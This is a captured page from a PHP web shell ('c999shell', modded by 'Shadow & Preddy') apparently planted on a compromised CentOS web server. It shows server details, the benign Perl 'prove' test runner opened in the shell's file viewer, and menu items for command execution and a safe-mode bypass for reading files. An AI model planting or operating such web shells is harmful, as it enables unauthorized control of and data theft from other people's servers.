Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: prove (8.98 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; #!/usr/bin/perl -w use strict; use Test::Harness; use Getopt::Long; use Pod::Usage 1.12; use File::Spec; use vars qw( $VERSION ); $VERSION = "1.04"; my @ext = (); my $shuffle = 0; my $dry = 0; my $blib = 0; my $lib = 0; my $recurse = 0; my @includes = (); my @switches = (); # Allow cuddling the paths with the -I @ARGV = map { /^(-I)(.+)/ ? ($1,$2) : $_ } @ARGV; # Stick any default switches at the beginning, so they can be overridden # by the command line switches. unshift @ARGV, split( " ", $ENV{PROVE_SWITCHES} ) if defined $ENV{PROVE_SWITCHES}; Getopt::Long::Configure( "no_ignore_case" ); Getopt::Long::Configure( "bundling" ); GetOptions( 'b|blib' => \$blib, 'd|debug' => \$Test::Harness::debug, 'D|dry' => \$dry, 'h|help|?' => sub {pod2usage({-verbose => 1}); exit}, 'H|man' => sub {pod2usage({-verbose => 2}); exit}, 'I=s@' => \@includes, 'l|lib' => \$lib, 'r|recurse' => \$recurse, 's|shuffle' => \$shuffle, 't' => sub { unshift @switches, "-t" }, # Always want -t up front 'T' => sub { unshift @switches, "-T" }, # Always want -T up front 'timer' => \$Test::Harness::Timer, 'v|verbose' => \$Test::Harness::verbose, 'V|version' => sub { print_version(); exit; }, 'ext=s@' => \@ext, ) or exit 1; $ENV{TEST_VERBOSE} = 1 if $Test::Harness::verbose; # Build up extensions regex @ext = map { split /,/ } @ext; s/^\.// foreach @ext; @ext = ("t") unless @ext; my $ext_regex = join( "|", map { quotemeta } @ext ); $ext_regex = qr/\.($ext_regex)$/; # Handle blib includes if ( $blib ) { my @blibdirs = blibdirs(); if ( @blibdirs ) { unshift @includes, @blibdirs; } else { warn "No blib directories found.\n"; } } # Handle lib includes if ( $lib ) { unshift @includes, "lib"; } # Build up TH switches push( @switches, map { /\s/ && !/^".*"$/ ? qq["-I$_"] : "-I$_" } @includes ); $Test::Harness::Switches = join( " ", @switches ); print "# \$Test::Harness::Switches: $Test::Harness::Switches\n" if $Test::Harness::debug; my @tests; @ARGV = File::Spec->curdir unless @ARGV; push( @tests, -d $_ ? all_in( $_ ) : $_ ) for map { glob } @ARGV; if ( @tests ) { shuffle(@tests) if $shuffle; if ( $dry ) { print join( "\n", @tests, "" ); } else { print "# ", scalar @tests, " tests to run\n" if $Test::Harness::debug; runtests(@tests); } } sub all_in { my $start = shift; my @hits = (); local *DH; if ( opendir( DH, $start ) ) { my @files = sort readdir DH; closedir DH; for my $file ( @files ) { next if $file eq File::Spec->updir || $file eq File::Spec->curdir; next if $file eq ".svn"; next if $file eq "CVS"; my $currfile = File::Spec->catfile( $start, $file ); if ( -d $currfile ) { push( @hits, all_in( $currfile ) ) if $recurse; } else { push( @hits, $currfile ) if $currfile =~ $ext_regex; } } } else { warn "$start: $!\n"; } return @hits; } sub shuffle { # Fisher-Yates shuffle my $i = @_; while ($i) { my $j = rand $i--; @_[$i, $j] = @_[$j, $i]; } } sub print_version { printf( "prove v%s, using Test::Harness v%s and Perl v%vd\n", $VERSION, $Test::Harness::VERSION, $^V ); } # Stolen directly from blib.pm sub blibdirs { my $dir = File::Spec->curdir; if ($^O eq 'VMS') { ($dir = VMS::Filespec::unixify($dir)) =~ s-/\z--; } my $archdir = "arch"; if ( $^O eq "MacOS" ) { # Double up the MP::A so that it's not used only once. $archdir = $MacPerl::Architecture = $MacPerl::Architecture; } my $i = 5; while ($i--) { my $blib = File::Spec->catdir( $dir, "blib" ); my $blib_lib = File::Spec->catdir( $blib, "lib" ); my $blib_arch = File::Spec->catdir( $blib, $archdir ); if ( -d $blib && -d $blib_arch && -d $blib_lib ) { return ($blib_arch,$blib_lib); } $dir = File::Spec->catdir($dir, File::Spec->updir); } warn "$0: Cannot find blib\n"; return; } __END__ =head1 NAME prove -- A command-line tool for running tests against Test::Harness =head1 SYNOPSIS prove [options] [files/directories] Options: -b, --blib Adds blib/lib to the path for your tests, a la "use blib". -d, --debug Includes extra debugging information. -D, --dry Dry run: Show the tests to run, but don't run them. --ext=x Extensions (defaults to .t) -h, --help Display this help -H, --man Longer manpage for prove -I Add libraries to @INC, as Perl's -I -l, --lib Add lib to the path for your tests. -r, --recurse Recursively descend into directories. -s, --shuffle Run the tests in a random order. -T Enable tainting checks -t Enable tainting warnings --timer Print elapsed time after each test file -v, --verbose Display standard output of test scripts while running them. -V, --version Display version info Single-character options may be stacked. Default options may be set by specifying the PROVE_SWITCHES environment variable. =head1 OVERVIEW F |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0052 ]-- |